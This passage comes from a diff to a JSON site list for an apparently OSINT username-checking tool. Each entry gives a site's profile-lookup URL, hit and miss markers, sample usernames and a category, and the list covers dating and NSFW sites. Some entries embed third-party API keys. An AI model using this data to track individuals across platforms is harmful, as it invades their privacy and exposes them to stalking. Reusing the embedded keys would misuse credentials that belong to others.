"m_string": "The requested URL or resource could not be found.", + "m_code": 404, + "known": [ + "ndalliard", + "gerhard" + ], + "cat": "misc" + }, + { + "name": "discuss.elastic.co", + "uri_check": "https://discuss.elastic.co/u/{account}", + "e_code": 200, + "e_string": " Profile", + "m_string": "Oops!", + "m_code": 404, + "known": [ + "whoami", + "johndoe" + ], + "cat": "tech" + }, + { + "name": "Disqus", + "uri_check": "https://disqus.com/api/3.0/users/details?user=username:{account}&api_key=E8Uh5l5fHZ6gD8U3KycjAIAk46f68Zw7C6eW8WSjZvCLXebZ7p0r1yrYDrLilk2F", + "uri_pretty": "https://disqus.com/by/{account}/", + "e_code": 200, + "e_string": "\"code\":0", + "m_string": "\"code\":2", + "m_code": 400, + "known": [ + "Aristotelian1", + "50calibercat" + ], + "cat": "social" + }, + { + "name": "Dissenter", + "uri_check": "https://dissenter.com/user/{account}", + "e_code": 200, + "e_string": "Dissenter | The Comment Section of the Internet", + "m_string": "That user is not registered here.", + "m_code": 404, + "known": [ + "pryerlee", + "archdukeofevil" + ], + "cat": "political" + }, + { + "name": "Docker Hub (Organization)", + "uri_check": "https://hub.docker.com/v2/orgs/{account}/", + "uri_pretty": "https://hub.docker.com/u/{account}", + "e_code": 200, + "e_string": "\"uuid\":", + "m_string": "\"orgname\":[\"", + "m_code": 404, + "known": [ + "bitnami", + "tensorflow" + ], + "cat": "coding" + }, + { + "name": "Docker Hub (User)", + "uri_check": "https://hub.docker.com/v2/users/{account}/", + "uri_pretty": "https://hub.docker.com/u/{account}", + "e_code": 200, + "e_string": "\"uuid\":", + "m_string": "\"message\":\"User not found\"", + "m_code": 404, + "known": [ + "dannapierskitoptal", + "torvalds" + ], + "cat": "coding" + }, + { + "name": "Dojoverse", + "uri_check": "https://dojoverse.com/members/{account}/", + "e_code": 200, + "e_string": "Joined", + "m_string": "Looks like you got lost!.", + "m_code": 404, + "known": [ + "eric", + "danielrivera10927" + ], + "cat": "hobby" + }, + { + "name": "donate.stream", + "uri_check": "https://donate.stream/api/v1/streamer.get?path={account}&app=9f4e793cec820015d511dbc77b20c5c1", + "uri_pretty": "https://donate.stream/{account}", + "e_code": 200, + "e_string": "\"response\":", + "m_string": "\"message\":\"Not found\"", + "m_code": 200, + "known": [ + "requiemzxc_komaru", + "hexttr" + ], + "cat": "finance", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Donatello", + "uri_check": "https://donatello.to/{account}", + "e_code": 200, + "e_string": "UserPage.init", + "m_string": "<title>Сторінку не знайдено (404) - Donatello", + "m_code": 404, + "known": [ + "Metvix", + "Selezenka" + ], + "cat": "finance" + }, + { + "name": "Donatik", + "uri_check": "https://{account}.donatik.io/en", + "e_code": 200, + "e_string": "\\\"__typename\\\":\\\"User\\\"", + "m_string": "id=\"__next_error__\"", + "m_code": 500, + "known": [ + "gypsyjitsu", + "forestgamp3021" + ], + "cat": "finance" + }, + { + "name": "Donation Alerts", + "uri_check": "https://www.donationalerts.com/api/v1/user/{account}/donationpagesettings", + "uri_pretty": "https://www.donationalerts.com/r/{account}", + "e_code": 200, + "e_string": "\"data\":", + "m_string": "\"success\":false", + "m_code": 202, + "known": [ + "gorou", + "saku" + ], + "cat": "finance" + }, + { + "name": "Donatty", + "uri_check": "https://api.donatty.com/users/find/{account}", + "uri_pretty": "https://donatty.com/{account}", + "e_code": 200, + "e_string": "\"response\":", + "m_string": "\"error\":\"internal error\"", + "m_code": 404, + "known": [ + "takaisekai", + "fordmac" + ], + "cat": "business", + "protection": [ + "cloudflare" + ] + }, + { + "name": "dot.cards", + "uri_check": "https://dot.cards/{account}", + "e_code": 200, + "e_string": "status\": \"success", + "m_string": "status\": \"username_not_found", + "m_code": 200, + "known": [ + "dakmusic", + "jhartwell" + ], + "cat": "business" + }, + { + "name": "Dota2.ru", + "uri_check": "https://dota2.ru/forum/search/?type=user&keywords={account}&sort_by=username", + "e_code": 200, + "e_string": "class=\"forum-section__item forum-section__item--first\"", + "m_string": "id=\"no-activity-posts\"", + "m_code": 200, + "known": [ + "narancha", + "Darkness whisper" + ], + "cat": "gaming" + }, + { + "name": "DOTAFire", + "uri_check": "https://www.dotafire.com/ajax/searchSite?text={account}&search=members", + "e_code": 200, + "e_string": "href=\"/profile/", + "m_string": ">No results found", + "m_code": 200, + "known": [ + "DotaCoachApp", + "zveen" + ], + "cat": "gaming" + }, + { + "name": "DOU", + "uri_check": "https://dou.ua/users/{account}/", + "e_code": 200, + "e_string": "class=\"page-profile\"", + "m_string": "class=\"page-error\"", + "m_code": 404, + "known": [ + "doucommunity", + "volodymyrobrizan" + ], + "cat": "social" + }, + { + "name": "Dribbble", + "uri_check": "https://dribbble.com/{account}", + "e_code": 200, + "e_string": " | Dribbble", + "m_string": "(404)", + "m_code": 404, + "known": [ + "UI8", + "keeplegend" + ], + "cat": "art" + }, + { + "name": "DRIVE2.RU", + "uri_check": "https://www.drive2.ru/users/{account}/", + "e_code": 200, + "e_string": "itemprop=\"name\"", + "m_string": "404 — Страница не найдена", + "m_code": 404, + "known": [ + "seryjkot", + "timo6a" + ], + "cat": "social", + "protection": [ + "ddos-guard" + ] + }, + { + "name": "Droners", + "uri_check": "https://droners.io/accounts/{account}/", + "e_code": 200, + "e_string": "- Professional Drone Pilot", + "m_string": "(404)", + "m_code": 302, + "known": [ + "chriskahn", + "swilken" + ], + "cat": "hobby" + }, + { + "name": "Drum", + "uri_check": "https://drum.io/{account}/", + "e_code": 200, + "e_string": "firstName\": \"", + "m_string": "Page not found", + "m_code": 302, + "known": [ + "huckcredibleshotz", + "thesuccesspalette" + ], + "cat": "hobby" + }, + { + "name": "Duolingo", + "uri_check": "https://www.duolingo.com/2017-06-30/users?username={account}&_=1628308619574", + "uri_pretty": "https://www.duolingo.com/profile/{account}", + "e_code": 200, + "e_string": "joinedClassroomIds", + "m_string": "\"users\" : []", + "m_code": 200, + "known": [ + "sdfsdf", + "duolingo" + ], + "cat": "hobby" + }, + { + "name": "easyen", + "uri_check": "https://easyen.ru/index/8-0-{account}", + "e_code": 200, + "e_string": "День рождения", + "m_string": "Пользователь не найден", + "m_code": 200, + "known": [ + "wd" + ], + "cat": "social" + }, + { + "name": "eBay", + "uri_check": "https://www.ebay.com/usr/{account}", + "e_code": 200, + "e_string": "on eBay", + "m_string": "The User ID you entered was not found", + "m_code": 200, + "known": [ + "the_gqs", + "johnny" + ], + "cat": "shopping" + }, + { + "name": "ebay_stores", + "uri_check": "https://www.ebay.com/str/{account}", + "e_code": 200, + "e_string": "| eBay Stores", + "m_string": "Sorry, this store was not found.", + "m_code": 410, + "known": [ + "tactical", + "tactical-security" + ], + "cat": "shopping" + }, + { + "name": "Electrobel", + "uri_check": "https://be.electrobel.org/register.ajax", + "uri_pretty": "https://be.electrobel.org/{account}", + "post_body": "action=checkUsername&username={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded" + }, + "e_code": 200, + "e_string": "\"html\":\"Username existsPlease choose another\"", + "m_string": "\"html\":\"Name is available\"", + "m_code": 200, + "known": [ + "wixel", + "Gloomer" + ], + "cat": "social" + }, + { + "name": "Engadget", + "uri_check": "https://www.engadget.com/about/editors/{account}/", + "e_code": 200, + "e_string": "\"displayName\"", + "m_string": ", - Engadget", + "m_code": 200, + "known": [ + "devindra-hardawar", + "kris-holt" + ], + "cat": "tech" + }, + { + "name": "EPORNER", + "uri_check": "https://www.eporner.com/xhr/check/", + "uri_pretty": "https://www.eporner.com/profile/{account}/", + "post_body": "xhr=1&act=check_login&login={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "e_code": 200, + "e_string": "\"msg_body\":\"This login already exists. Choose another one\"", + "m_string": "\"msg_body\":\"Available\"", + "m_code": 200, + "known": [ + "LAM_2030", + "DianaX814" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Etoro", + "uri_check": "https://www.etoro.com/api/logininfo/v1.1/users/{account}", + "uri_pretty": "https://www.etoro.com/people/{account}", + "e_code": 200, + "e_string": "\"gcid\":", + "m_string": "\"ErrorCode\":\"NotFound\"", + "m_code": 404, + "known": [ + "jeepsontrading", + "armandofoschini" + ], + "cat": "finance", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Etsy", + "uri_check": "https://www.etsy.com/people/{account}", + "e_code": 200, + "e_string": " favorite items - Etsy", + "m_string": "Sorry, the member you are looking for does not exist", + "m_code": 404, + "known": [ + "david", + "happiness" + ], + "cat": "shopping" + }, + { + "name": "Evolution CMS", + "uri_check": "https://community.evocms.ru/users/?search={account}", + "e_code": 200, + "e_string": "id=\"user-search\"", + "m_string": "", + "m_code": 200, + "known": [ + "Dmi3yy", + "Pathologic" + ], + "cat": "tech" + }, + { + "name": "Expressional.social (Mastodon Instance)", + "uri_check": "https://expressional.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://expressional.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "jippi", + "poolesen" + ], + "cat": "social" + }, + { + "name": "Eyeem", + "uri_check": "https://www.eyeem.com/u/{account}", + "e_code": 200, + "e_string": "Marketplace", + "m_string": "Not Found (404) | EyeEm", + "m_code": 301, + "known": [ + "john", + "bob" + ], + "cat": "art" + }, + { + "name": "F3", + "uri_check": "https://f3.cool/{account}", + "e_code": 200, + "e_string": "@", + "m_string": "Page Not Found - F3", + "m_code": 404, + "known": [ + "nick", + "john" + ], + "cat": "social" + }, + { + "name": "Fabswingers", + "uri_check": "https://www.fabswingers.com/profile/{account}", + "e_code": 200, + "e_string": "View Profile", + "m_string": "The user you tried to view doesn't seem to be on the site any more", + "m_code": 200, + "known": [ + "justusboth2013", + "hellfireclub", + "fabswingers.com" + ], + "cat": "dating" + }, + { + "name": "Facebook", + "uri_check": "https://www.facebook.com/{account}/", + "e_code": 200, + "e_string": "__isProfile", + "m_string": "<title>Facebook", + "m_code": 200, + "known": [ + "john.miniolic", + "adam" + ], + "cat": "social" + }, + { + "name": "FACEIT", + "uri_check": "https://www.faceit.com/api/users/v1/nicknames/{account}", + "uri_pretty": "https://www.faceit.com/en/players/{account}", + "e_code": 200, + "e_string": "\"result\":\"OK\"", + "m_string": "\"message\":\"user not found\"", + "m_code": 404, + "known": [ + "s1mple", + "w0nderful" + ], + "cat": "gaming" + }, + { + "name": "Faktopedia", + "uri_check": "https://faktopedia.pl/user/{account}", + "e_code": 200, + "e_string": "Zamieszcza fakty od:", + "m_string": "Nie znaleziono użytkownika o podanym loginie.", + "m_code": 200, + "known": [ + "janek", + "ania" + ], + "cat": "images" + }, + { + "name": "FanCentro", + "uri_check": "https://fancentro.com/api/profile.get?profileAlias={account}&limit=1", + "uri_pretty": "https://fancentro.com/{account}/", + "e_code": 200, + "e_string": "\"status\":true", + "m_string": "\"status\":false", + "m_code": 200, + "known": [ + "medroxy", + "miaaamador" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Fandom", + "uri_check": "https://www.fandom.com/u/{account}", + "e_code": 200, + "e_string": "| Profile | Fandom", + "m_string": "Not Found", + "m_code": 404, + "known": [ + "EJacobs94", + "Drew_Dietsch" + ], + "cat": "gaming" + }, + { + "name": "fanpop", + "uri_check": "https://www.fanpop.com/fans/{account}", + "e_code": 200, + "e_string": "Fanpopping since", + "m_string": "", + "m_code": 302, + "known": [ + "test", + "johndoe" + ], + "cat": "social" + }, + { + "name": "Fansly", + "uri_check": "https://apiv2.fansly.com/api/v1/account?usernames={account}", + "uri_pretty": "https://fansly.com/{account}/posts", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"response\":[]", + "m_code": 200, + "known": [ + "Mikomin", + "test" + ], + "cat": "xx NSFW xx", + "protection": [ + "cloudfront" + ] + }, + { + "name": "Fark", + "uri_check": "https://www.fark.com/users/{account}", + "e_code": 200, + "e_string": "Fark account number", + "m_string": "Tastes like chicken.", + "m_code": 200, + "known": [ + "bob", + "bobby" + ], + "cat": "social" + }, + { + "name": "FatSecret", + "uri_check": "https://www.fatsecret.com/member/{account}", + "e_code": 200, + "e_string": "- Member", + "m_string": "Your Key to Success", + "m_code": 302, + "known": [ + "bob", + "bobby" + ], + "cat": "health" + }, + { + "name": "Federated.press (Mastodon Instance)", + "uri_check": "https://federated.press/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://federated.press/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "wood", + "cliffcheney" + ], + "cat": "social" + }, + { + "name": "Figma", + "uri_check": "https://www.figma.com/api/profile/handle/{account}", + "uri_pretty": "https://www.figma.com/@{account}", + "e_code": 200, + "e_string": "\"status\":200", + "m_string": "\"status\":404", + "m_code": 404, + "known": [ + "bob", + "mike" + ], + "cat": "tech", + "protection": [ + "cloudfront" + ] + }, + { + "name": "Filmot Channel Search", + "uri_check": "https://filmot.com/channelsearch/{account}", + "e_code": 200, + "e_string": "Subscribers", + "m_string": "No channels found", + "m_code": 200, + "known": [ + "bobicraft", + "parodiadoranimado" + ], + "cat": "archived" + }, + { + "name": "Filmot Unlisted Videos", + "uri_check": "https://filmot.com/unlistedSearch?channelQuery={account}&sortField=uploaddate&sortOrder=desc&", + "e_code": 200, + "e_string": "clips found", + "m_string": "No results", + "m_code": 200, + "known": [ + "holasoygerman", + "elrubiusomg" + ], + "cat": "archived" + }, + { + "name": "Filmweb", + "uri_check": "https://www.filmweb.pl/user/{account}", + "e_code": 200, + "e_string": "profil w Filmweb", + "m_string": "Varnish 404", + "m_code": 200, + "known": [ + "test", + "Marcin_P" + ], + "cat": "hobby" + }, + { + "name": "fine_art_america", + "uri_check": "https://fineartamerica.com/profiles/{account}", + "e_code": 200, + "e_string": "Shop for artwork by", + "m_string": "Browse through millions of independent artists in our extensive", + "m_code": 301, + "known": [ + "scott-norris", + "mary-helmreich" + ], + "cat": "shopping" + }, + { + "name": "Fiverr", + "uri_check": "https://www.fiverr.com/validate_username", + "uri_pretty": "https://www.fiverr.com/{account}", + "post_body": "{\"username\": \"{account}\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 201, + "e_string": "\"errorKeys\":[[\"username\",\"user_taken\"]]", + "m_string": "\"status\":\"success\"", + "m_code": 201, + "known": [ + "yellowdd", + "samanvay" + ], + "cat": "shopping" + }, + { + "name": "FL.ru", + "uri_check": "https://www.fl.ru/users/{account}/portfolio/", + "e_code": 200, + "e_string": "class=\"page-profile\"", + "m_string": "content=\"404 Not Found\"", + "m_code": 404, + "known": [ + "makediffdev", + "moldanovadasha" + ], + "cat": "social", + "protection": [ + "ddos-guard" + ] + }, + { + "name": "Flickr", + "uri_check": "https://www.flickr.com/photos/{account}/", + "e_code": 200, + "e_string": "| Flickr", + "m_string": "", + "m_code": 404, + "known": [ + "glaciernps", + "test" + ], + "cat": "images" + }, + { + "name": "Flightradar24", + "uri_check": "https://my.flightradar24.com/{account}/", + "e_code": 200, + "e_string": "class=\"profile-card\" data-profile-user=", + "m_string": "class=\"main page-not-found-main", + "m_code": 404, + "known": [ + "finn", + "pavelkral" + ], + "cat": "misc" + }, + { + "name": "Flipboard", + "uri_check": "https://flipboard.com/@{account}", + "e_code": 200, + "e_string": ") on Flipboard", + "m_string": "", + "m_code": 404, + "known": [ + "cosmopolitan", + "Mashable" + ], + "cat": "tech" + }, + { + "name": "flowcode", + "uri_check": "https://www.flowcode.com/page/{account}", + "e_code": 200, + "e_string": ";s Flowpage", + "m_string": "Nobody's reserved this Flowpage yet.", + "m_code": 404, + "known": [ + "evdokia", + "irina" + ], + "cat": "social" + }, + { + "name": "Fodors Forum", + "uri_check": "https://www.fodors.com/community/profile/{account}/forum-activity", + "e_code": 200, + "e_string": "User Profile | Fodor’s Travel", + "m_string": "Plan Your Trip Online", + "m_code": 302, + "known": [ + "jdstraveler", + "gooster" + ], + "cat": "social" + }, + { + "name": "Folkd", + "uri_check": "https://www.folkd.com/?app=core&module=system&controller=ajax&do=usernameExists&input={account}", + "uri_pretty": "https://www.folkd.com/search/?q={account}&quick=1&type=core_members", + "e_code": 200, + "e_string": "\"message\":\"That display name is in use by another member.\"", + "m_string": "\"result\":\"ok\"", + "m_code": 200, + "known": [ + "smartplayapk", + "abdulmerfantz" + ], + "cat": "social", + "protection": [ + "other" + ] + }, + { + "name": "Fortnite Tracker", + "uri_check": "https://fortnitetracker.com/profile/all/{account}", + "e_code": 200, + "e_string": "s Fortnite Stats - Fortnite Tracker", + "m_string": "Fortnite Player Stats -", + "m_code": 404, + "known": [ + "steph", + "sam" + ], + "cat": "gaming" + }, + { + "name": "forumprawne.org", + "uri_check": "https://forumprawne.org/members/{account}.html", + "e_code": 200, + "e_string": "Wiadomość", + "m_string": "", + "m_code": 500, + "known": [ + "test", + "test2" + ], + "cat": "misc" + }, + { + "name": "Fosstodon.org (Mastodon Instance)", + "uri_check": "https://fosstodon.org/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://fosstodon.org/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "linux", + "Phil35" + ], + "cat": "social" + }, + { + "name": "fotka", + "uri_check": "https://api.fotka.com/v2/user/dataStatic?login={account}", + "uri_pretty": "https://fotka.com/profil/{account}", + "e_code": 200, + "e_string": "profil", + "m_string": "ERROR", + "m_code": 200, + "known": [ + "test", + "test2" + ], + "cat": "social" + }, + { + "name": "Fotolog Archived Profile", + "uri_check": "https://archive.org/wayback/available?url=https://www.fotolog.com/{account}", + "uri_pretty": "https://web.archive.org/web/2/fotolog.com/{account}", + "e_code": 200, + "e_string": "\"archived_snapshots\": {\"closest\"", + "m_string": "\"archived_snapshots\": {}", + "m_code": 200, + "known": [ + "x_zudex_x", + "angelito" + ], + "cat": "archived" + }, + { + "name": "Foursquare", + "uri_check": "https://foursquare.com/{account}", + "e_code": 200, + "e_string": "class=\"userProfile2Page\"", + "m_string": "", + "m_code": 308, + "known": [ + "j0hn", + "ncyp23" + ], + "cat": "social" + }, + { + "name": "freeCodeCamp", + "uri_check": "https://api.freecodecamp.org/users/get-public-profile?username={account}", + "uri_pretty": "https://www.freecodecamp.org/{account}", + "e_code": 200, + "e_string": "\"user\":", + "m_string": "{}", + "m_code": 404, + "known": [ + "zaira", + "caesarsage" + ], + "cat": "coding", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Freelance.RU", + "uri_check": "https://freelance.ru/{account}", + "e_code": 200, + "e_string": "class=\" user-top-container user-portfolio\"", + "m_string": "class=\"msg_error alert alert-danger\"", + "m_code": 404, + "known": [ + "sunsey", + "semanticlan" + ], + "cat": "business" + }, + { + "name": "Freelance.ua", + "uri_check": "https://freelance.ua/user/{account}/", + "e_code": 200, + "e_string": "p-profile-avatar", + "m_string": "Схоже, дана сторінка не знайдена", + "m_code": 404, + "known": [ + "tkachenkoalex", + "oleksandrseo1" + ], + "cat": "social" + }, + { + "name": "Freelancehunt Employer", + "uri_check": "https://freelancehunt.com/en/employer/{account}.html", + "e_code": 200, + "e_string": "\"@id\":\"https://freelancehunt.com/en/employers\"", + "m_string": "User not found.", + "m_code": 404, + "known": [ + "vadym1232", + "Dekovital" + ], + "cat": "social", + "protection": [ + "other" + ] + }, + { + "name": "Freelancehunt Freelancer", + "uri_check": "https://freelancehunt.com/en/freelancer/{account}.html", + "e_code": 200, + "e_string": "\"@id\":\"https://freelancehunt.com/en/freelancers\"", + "m_string": "User not found.", + "m_code": 404, + "known": [ + "rhythmdev_top", + "Zainka" + ], + "cat": "social", + "protection": [ + "other" + ] + }, + { + "name": "Freelancer", + "uri_check": "https://www.freelancer.com/api/users/0.1/users?usernames%5B%5D={account}&compact=true", + "uri_pretty": "https://www.freelancer.com/u/{account}", + "e_code": 200, + "e_string": "\"users\":{\"", + "m_string": "\"users\":{}", + "m_code": 200, + "known": [ + "desiaunty", + "creatvmind" + ], + "cat": "business" + }, + { + "name": "freesound", + "uri_check": "https://freesound.org/people/{account}/section/stats/?ajax=1", + "uri_pretty": "https://freesound.org/people/{account}/", + "e_code": 200, + "e_string": "forum posts", + "m_string": "

Page not found

", + "m_code": 404, + "known": [ + "Manu593", + "somewhereinjp" + ], + "cat": "music" + }, + { + "name": "FreeSteamKeys", + "uri_check": "https://www.freesteamkeys.com/members/{account}/", + "e_code": 200, + "e_string": "item-header-avatar", + "m_string": "error404", + "m_code": 404, + "known": [ + "giveaway-su", + "keygenerator" + ], + "cat": "gaming" + }, + { + "name": "FriendFinder", + "uri_check": "https://friendfinder.com/profile/{account}", + "e_code": 200, + "e_string": "Last Visit:", + "m_string": "302 Found", + "m_code": 302, + "known": [ + "alex56", + "john" + ], + "cat": "dating" + }, + { + "name": "FriendFinder-X", + "uri_check": "https://www.friendfinder-x.com/profile/{account}", + "e_code": 200, + "e_string": "'s Dating Profile on FriendFinder-x", + "m_string": "The document has moved", + "m_code": 302, + "known": [ + "john" + ], + "cat": "dating" + }, + { + "name": "Fur Affinity", + "uri_check": "https://www.furaffinity.net/user/{account}/", + "e_code": 200, + "e_string": "", + "m_string": "

System Error

", + "m_code": 200, + "known": [ + "karintina", + "mikrogoat" + ], + "cat": "images" + }, + { + "name": "Gab", + "uri_check": "https://gab.com/api/v1/account_by_username/{account}", + "uri_pretty": "https://gab.com/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"error\":\"Record not found\"", + "m_code": 404, + "known": [ + "RealMarjorieGreene", + "LaurenBoebert" + ], + "cat": "political" + }, + { + "name": "Game Jolt", + "uri_check": "https://gamejolt.com/site-api/web/profile/@{account}/", + "uri_pretty": "https://gamejolt.com/@{account}", + "e_code": 200, + "e_string": "created_on", + "m_string": "null,", + "m_code": 404, + "known": [ + "nilllzz", + "KorbloxTeams" + ], + "cat": "gaming" + }, + { + "name": "game_debate", + "uri_check": "https://www.game-debate.com/profile/{account}", + "e_code": 200, + "e_string": "| , , GB pc game performance", + "m_string": "Not Found", + "m_code": 404, + "known": [ + "Johnboy", + "Crazy" + ], + "cat": "gaming" + }, + { + "name": "Gamer DVR", + "uri_check": "https://gamerdvr.com/gamer/{account}", + "e_code": 200, + "e_string": "class=\"gamerpic\"", + "m_string": "You are being <", + "m_code": 302, + "known": [ + "dnlunger", + "punksxe" + ], + "cat": "gaming" + }, + { + "name": "Gamespot", + "uri_check": "https://www.gamespot.com/profile/{account}/summary/activity/?ajax", + "uri_pretty": "https://www.gamespot.com/profile/{account}/", + "e_code": 200, + "e_string": "\"success\":true", + "m_string": "\"success\":false", + "m_code": 200, + "known": [ + "alice", + "bob" + ], + "cat": "gaming", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Garmin connect", + "uri_check": "https://connect.garmin.com/modern/profile/{account}", + "e_code": 200, + "e_string": "window.ERROR_VIEW = null", + "m_string": "resourceNotFoundRoute", + "m_code": 200, + "known": [ + "tommy", + "cderalow" + ], + "cat": "health" + }, + { + "name": "GDBrowser", + "uri_check": "https://gdbrowser.com/api/profile/{account}", + "uri_pretty": "https://gdbrowser.com/u/{account}", + "e_code": 200, + "e_string": "\"accountID\":", + "m_string": "-1", + "m_code": 500, + "known": [ + "SorkoPiko", + "Subwoofer" + ], + "cat": "gaming" + }, + { + "name": "GeeksForGeeks", + "uri_check": "https://authapi.geeksforgeeks.org/api-get/user-profile-info/?handle={account}", + "uri_pretty": "https://www.geeksforgeeks.org/user/{account}/", + "e_code": 200, + "e_string": "\"message\":\"data retrieved successfully\"", + "m_string": "\"message\":\"User not found!\"", + "m_code": 400, + "known": [ + "nath_789", + "harshrajsinghsiwan", + "igovindindia" + ], + "cat": "coding" + }, + { + "name": "Genius (Artists)", + "uri_check": "https://genius.com/artists/{account}", + "e_code": 200, + "e_string": "class=\"profile_header\"", + "m_string": "class=\"render_404\"", + "m_code": 404, + "known": [ + "Profjam", + "Hozier" + ], + "cat": "music" + }, + { + "name": "Genius (Users)", + "uri_check": "https://genius.com/{account}", + "e_code": 200, + "e_string": "class=\"profile_header\"", + "m_string": "class=\"render_404\"", + "m_code": 404, + "known": [ + "Rabe8i", + "Tobias_the_explicator" + ], + "cat": "music" + }, + { + "name": "Geocaching", + "uri_check": "https://www.geocaching.com/p/?u={account}", + "e_code": 200, + "e_string": "class=\"hax-profile\"", + "m_string": "class=\"callout http-error\"", + "m_code": 404, + "known": [ + "moun10bike", + "niraD", + "john" + ], + "cat": "social" + }, + { + "name": "getmonero", + "uri_check": "https://forum.getmonero.org/user/{account}", + "e_code": 200, + "e_string": "Monero | User", + "m_string": "Monero | Page not found. Error: 404", + "m_code": 200, + "known": [ + "silverfox", + "monero" + ], + "cat": "misc" + }, + { + "name": "Gettr", + "uri_check": "https://gettr.com/api/s/uinf/{account}", + "uri_pretty": "https://gettr.com/user/{account}", + "e_code": 200, + "e_string": "\"rc\":\"OK\"", + "m_string": "\"rc\":\"ERR\"", + "m_code": 400, + "known": [ + "gettr", + "support" + ], + "cat": "social" + }, + { + "name": "Gigapan", + "uri_check": "https://www.gigapan.com/profiles/{account}", + "e_code": 200, + "e_string": "width=\"100\"", + "m_string": "View Gigapans", + "m_code": 404, + "known": [ + "test", + "lucahammer" + ], + "cat": "hobby" + }, + { + "name": "Giphy (Channel)", + "uri_check": "https://giphy.com/channel/{account}", + "e_code": 200, + "e_string": "\\\"user_id\\\"", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "teddy_99", + "LastYear" + ], + "cat": "images", + "protection": [ + "other" + ] + }, + { + "name": "Gitea", + "uri_check": "https://gitea.com/api/v1/users/{account}", + "uri_pretty": "https://gitea.com/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"message\":\"user redirect does not exist", + "m_code": 404, + "known": [ + "xin", + "dev", + "jane" + ], + "cat": "coding" + }, + { + "name": "Gitee", + "uri_check": "https://gitee.com/{account}", + "e_code": 200, + "e_string": "class=\"ui container user_page\"", + "m_string": "class=\"container error midCenter\"", + "m_code": 404, + "known": [ + "maxim", + "fupengfei" + ], + "cat": "coding" + }, + { + "name": "GitHub", + "uri_check": "https://api.github.com/users/{account}", + "uri_pretty": "https://github.com/{account}", + "headers": { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" + }, + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"status\": \"404\"", + "m_code": 404, + "known": [ + "test", + "WebBreacher" + ], + "cat": "coding" + }, + { + "name": "GitHub Gists", + "uri_check": "https://api.github.com/users/{account}/gists", + "uri_pretty": "https://gist.github.com/{account}", + "headers": { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" + }, + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"status\": \"404\"", + "m_code": 404, + "known": [ + "teymurgahramanov", + "WebBreacher" + ], + "cat": "coding" + }, + { + "name": "GitLab", + "uri_check": "https://gitlab.com/api/v4/users?username={account}", + "uri_pretty": "https://gitlab.com/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "[]", + "m_code": 200, + "known": [ + "skennedy", + "KennBro" + ], + "cat": "coding" + }, + { + "name": "gloria.tv", + "uri_check": "https://gloria.tv/{account}", + "e_code": 200, + "e_string": "Last online", + "m_string": "Page unavailable", + "m_code": 404, + "known": [ + "Irapuato", + "en.news" + ], + "cat": "social" + }, + { + "name": "GNOME (GitLab)", + "uri_check": "https://gitlab.gnome.org/api/v4/users?username={account}", + "uri_pretty": "https://gitlab.gnome.org/{account}", + "e_code": 200, + "e_string": "\"username\":", + "m_string": "[]", + "m_code": 200, + "known": [ + "MystikNinja", + "0xMRTT" + ], + "cat": "coding", + "protection": [ + "anubis" + ] + }, + { + "name": "GNOME (Shell Extensions)", + "uri_check": "https://extensions.gnome.org/accounts/profile/{account}", + "e_code": 200, + "e_string": "class=\"user-details\"", + "m_string": "

404 - Page not Found

", + "m_code": 404, + "known": [ + "johnny", + "dev" + ], + "cat": "coding" + }, + { + "name": "GOG", + "uri_check": "https://www.gog.com/u/{account}", + "e_code": 200, + "e_string": "window.profilesData.profileUser", + "m_string": "href=\"http://www.gog.com/404\"", + "m_code": 302, + "known": [ + "user", + "Admin" + ], + "cat": "gaming" + }, + { + "name": "Goodgame_Russia", + "uri_check": "https://goodgame.ru/channel/{account}/", + "e_code": 200, + "e_string": "channel_id", + "m_string": "Такой страницы не существует", + "m_code": 400, + "known": [ + "ejysarmat", + "JacksonTV" + ], + "cat": "gaming" + }, + { + "name": "gpodder.net", + "uri_check": "https://gpodder.net/user/{account}/", + "e_code": 200, + "e_string": "mdash; gpodder.net", + "m_string": "404 - Not found", + "m_code": 404, + "known": [ + "blue", + "red" + ], + "cat": "music" + }, + { + "name": "grandprof", + "uri_check": "https://grandprof.org/communaute/{account}", + "e_code": 200, + "e_string": "s Profile", + "m_string": "Mauvaise pioche", + "m_code": 404, + "known": [ + "mohamed01", + "amine" + ], + "cat": "misc" + }, + { + "name": "Graphics.social (Mastodon Instance)", + "uri_check": "https://graphics.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://graphics.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "brian", + "moonpotato" + ], + "cat": "social" + }, + { + "name": "Gravatar", + "uri_check": "https://en.gravatar.com/{account}.json", + "uri_pretty": "https://en.gravatar.com/{account}", + "e_code": 200, + "e_string": "entry", + "m_string": "User not found", + "m_code": 404, + "known": [ + "test" + ], + "cat": "images" + }, + { + "name": "Greasy Fork", + "uri_check": "https://greasyfork.org/en/users?q={account}", + "e_code": 200, + "e_string": "class=\"user-list\"", + "m_string": "

No users!

